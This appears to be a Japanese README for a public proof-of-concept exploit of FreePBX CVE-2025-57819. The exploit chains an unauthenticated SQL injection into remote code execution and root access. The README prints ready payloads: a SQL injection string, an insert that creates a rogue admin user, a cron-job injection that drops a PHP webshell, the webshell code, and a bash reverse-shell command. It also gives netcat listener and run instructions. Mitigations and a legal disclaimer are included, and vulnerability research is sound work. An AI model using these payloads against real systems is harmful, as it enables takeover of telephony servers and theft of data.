FreePBX CVE-2025-57819 - 未認証SQLiからRCEへのPoC

教育およびセキュリティ研究専用 - 以下の法的通知を参照

CVE-2025-57819のエクスプロイト概念実証です。これはFreePBXにおける重大な未認証SQLインジェクションの脆弱性であり、リモートコード実行を可能にします。このPoCは、公式パッチがリリースされた後に、セキュリティ研究および許可されたテスト目的のみで公開されています。

概要

FreePBXバージョン15.x、16.x、17.x（パッチ未適用版）は、エンドポイントモジュールのAJAXハンドラにおける未認証SQLインジェクションの影響を受けます。この脆弱性チェーンにより以下が可能になります：

1. SQLインジェクションによる管理アカウントの作成
2. 認証済みcronジョブインジェクションによるWebshellの展開
3. sysadmin_managerフックチェーンを介したrootへの権限昇格（incronが利用可能な場合）
4. リバースシェルアクセスによるシステムの完全な侵害

脆弱性の詳細

脆弱なエンドポイント

GET /admin/ajax.php?brand=<PAYLOAD>

エンドポイントモジュールのAJAXハンドラにおけるbrandパラメータはユーザー入力を検証せずに受け入れ、エラーベースのSQLインジェクションを引き起こします。

エクスプロイトチェーン

ステージ1: SQLインジェクションと管理者アカウントの作成

EXTRACTVALUE()によるエラーベース抽出を使用してSQLiを確認し、データベース名を漏洩します：

x' AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT DATABASE()),0x7e))-- -

新しい管理ユーザーをasterisk.ampusersに挿入：

INSERT INTO ampusers (username, password_hash, admin) 
VALUES ('pbx_xxxxxxxx', '<MD5_HASH>', 1)

ステージ2: 認証済みCronジョブインジェクション

有効な管理者認証情報を使用して、エクスプロイトはFreePBXに認証し、認証セッションを確立します。セッションクッキーは保存され、後続のすべての認証済みリクエストに使用されます。

Webshellコマンドをasterisk.cron_jobsに注入：

INSERT INTO cron_jobs (modulename, jobname, command, class, schedule, max_runtime, enabled, execution_order)
VALUES ('sysadmin', 'wx', 'echo <BASE64_WEBSHELL>|base64 -d >/var/www/html/shell.php', NULL, '* * * * *', 30, 1, 1)

FreePBXのcronランナーがasteriskユーザーとしてコマンドを実行し、PHP Webshellを配置します。

ステージ3: Webshellのアクティベーション

PHP Webshellが/var/www/html/shell.phpにデプロイされます：

<?php system($_GET['cmd']); ?>

エクスプロイトはアクティベーションまでWebshellをポーリングし、asteriskユーザー（uid=999）としてRCEを達成します。

ステージ4: 権限昇格（条件付き）

ターゲットにincronが設定されている場合：

1. /var/spool/asterisk/incron/ にトリガーファイルを作成
2. incrond（rootとして実行）がファイル作成を検出
3. トリガーファイル名で /usr/bin/sysadmin_manager を呼び出し
4. sysadmin_manager がGPG署名を検証し、fwconsole-commandsフックにディスパッチ
5. フックがペイロードをデコードして実行: /usr/sbin/fwconsole <COMMAND>
6. コマンドインジェクション: help; bash -i >& /dev/tcp/LHOST/LPORT 0>&1

結果: リバースリスナー上でルートシェル（incronが利用可能な場合）。

悪用するもの

• brandパラメータに対する入力検証の欠如
• スタッククエリ実行によるデータベース操作の許可
• 書き込み可能なasterisk.cron_jobsテーブルがasteriskとしてコマンドを実行
• 作成した管理者アカウントのクッキーによる認証セッションの永続化
• rootとして実行されるIncronファイルシステム監視
• コマンドインジェクションによる検証されていないfwconsoleフックの実行

インストール

git clone https://github.com/JazzTheRabbit/cve-2025-57819.git
cd cve-2025-57819
pip3 install requests
chmod +x JTR-CVE-2025-57819.py

使用方法

# Setup Netcat Listener
nc -lvnp <Listener Port>

# Run The Exploit
python3 JTR-CVE-2025-57819.py <TARGET_IP> <YOUR_IP> <PORT>

PoC

影響を受けるバージョン

緩和策

即時対応:

• 信頼できないネットワークからの/admin/ajax.phpへのアクセスを制限
• incronが不要な場合は無効化: systemctl disable incrond

恒久的対策: 修正済みバージョン（15.0.66+、16.0.89+、17.0.3+）にアップグレード

参考文献

• CVE-2025-57819
• CISA KEVカタログ
• FreePBXセキュリティ勧告

法的通知

⚠️ 免責事項

この概念実証は許可されたセキュリティテストおよび教育目的のみで提供されます。著者は、このツールの誤用または損害について一切の責任を負いません。

遵守すべき事項:

• コンピュータ詐欺および悪用防止法（CFAA）および管轄区域の同等の法律
• 自分が所有するシステム、または明示的な書面による許可を得たシステムのみをテストすること
• セキュリティテストの前に書面による許可を得ること
• 責任ある開示の実践
• プライバシーおよびデータ保護規制（GDPR、CCPAなど）

禁止行為:

• コンピュータシステムへの不正アクセス
• 書面による同意のない侵入テスト
• サービスの妨害またはデータの盗難
• 悪意のある行為または違法行為

責任免除: 著者は以下について責任を負いません:

• 不正アクセスまたは刑事告訴
• システムの損傷またはデータ損失
• 誤用による法的結果
• コンピュータ詐欺法の違反

この脆弱性は:

• 公開開示済み（CVE-2025-57819）
• パッチは公開済み
• セキュリティ研究のみのために公開
• パッチリリース後に責任を持って共有

著者

JazzTheRabbit

• GitHub: @JazzTheRabbit
• HackTheBox: @JazzTheRabbit
• YouTube: JazzTheRabbit

ライセンス

MITライセンス